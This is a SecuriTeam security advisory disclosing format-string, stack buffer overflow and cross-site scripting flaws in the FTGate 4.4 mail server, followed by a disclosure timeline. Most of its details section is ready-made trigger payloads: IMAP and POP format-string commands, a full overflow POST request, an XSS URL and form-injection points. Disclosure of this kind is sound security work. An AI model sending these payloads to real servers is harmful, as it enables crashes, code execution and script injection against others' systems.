[NT] FTGate Multiple Vulnerabilities (LIST, AUTHENTICATE, USER, PASS, TOP, tzoffset)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



FTGate Multiple Vulnerabilities (LIST, AUTHENTICATE, USER, PASS, TOP,
tzoffset)
------------------------------------------------------------------------


SUMMARY

<http://www.ftgate.com/> FTGate4 is "a powerful Windows(TM) communication
suite that combines exceptional mail handling facilities with
comprehensive Groupware functionality. Its security and collaboration
features were developed in conjunction with leading ISP's and define a new
era in mail server performance".

FTGate is vulnerable to multiple vulnerabilities that can be triggered by
sending special IMAP requests or by sending malformed HTTP requests to the
server. A remote attacker could issue the vulnerable command followed by a
malicious code to execute arbitrary code.

DETAILS

Vulnerable Systems:
* FTGate versuib 4.4 (Build 4.4.000 Oct 26 2005)

Format String 1:
IMAP 01 LIST (%25n times 1024) *
IMAP 02 AUTHENTICATE (%25n times 1024)

Format String 2:
USER (%n times 20)
PASS (%n times 20)
TOP (%n times 20) 1

Stack Buffer Overflow:
The following request that overflows the variable tzoffset, can be used to
trigger the stack buffer overflow:
POST /index.fts HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; redsand)
Accept: text/html
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: SessId=9b5cdbb1c3e1a06da4bf0789b25fe38a; modified=null;
webadmin.remember=null; webadmin.username=null
Referer: http://127.0.0.1:8089/
Content-Type: application/x-www-form-urlencoded
Content-Length: 346
config=1&param1=&href=&tzoffset=11111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111&admin=administrator%40
example.com&password=test12345

Cross Site Scripting:
http://127.0.0.1:8089/index.fts?href=";><script>alert('XSS-magic-string');</script>

POST /domains/index.fts
href=%2Fdomains%2Findex.fts&config=1003& command=0&start=0&param1=Domain
List%2C%2Fdomains%2Findex.fts[STRING INJECTION
HERE]&param2=&find=*&elements=10 &aliases=1&data0=19

POST /config/licence.fts
href=%2Fconfig%2Flicence.fts&config=1003&command=0
&param1=Routing%2C%2Ffilters%2Froutes.fts[STRING INJECTION
HERE]&param2=&reg=

POST /config/systemacl.fts
href=%2Fconfig%2Fsystemacl.fts&config=1003&command=0
&id=0&param1=System+Timers%2C%2Fschedules%2
Findex.fts[STRING INJECTIONHERE]&redirect=&data1=32 &address=

Disclosure Timeline:
* 2005-11-25 - Original Advisory
* 2005-12-01 - Notified Vendor
* 2005-12-20 - No response from vendor, disclosing full information.


ADDITIONAL INFORMATION

The information has been provided by
<mailto:security-advisories@xxxxxxxxxxx> Tim Shelton.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages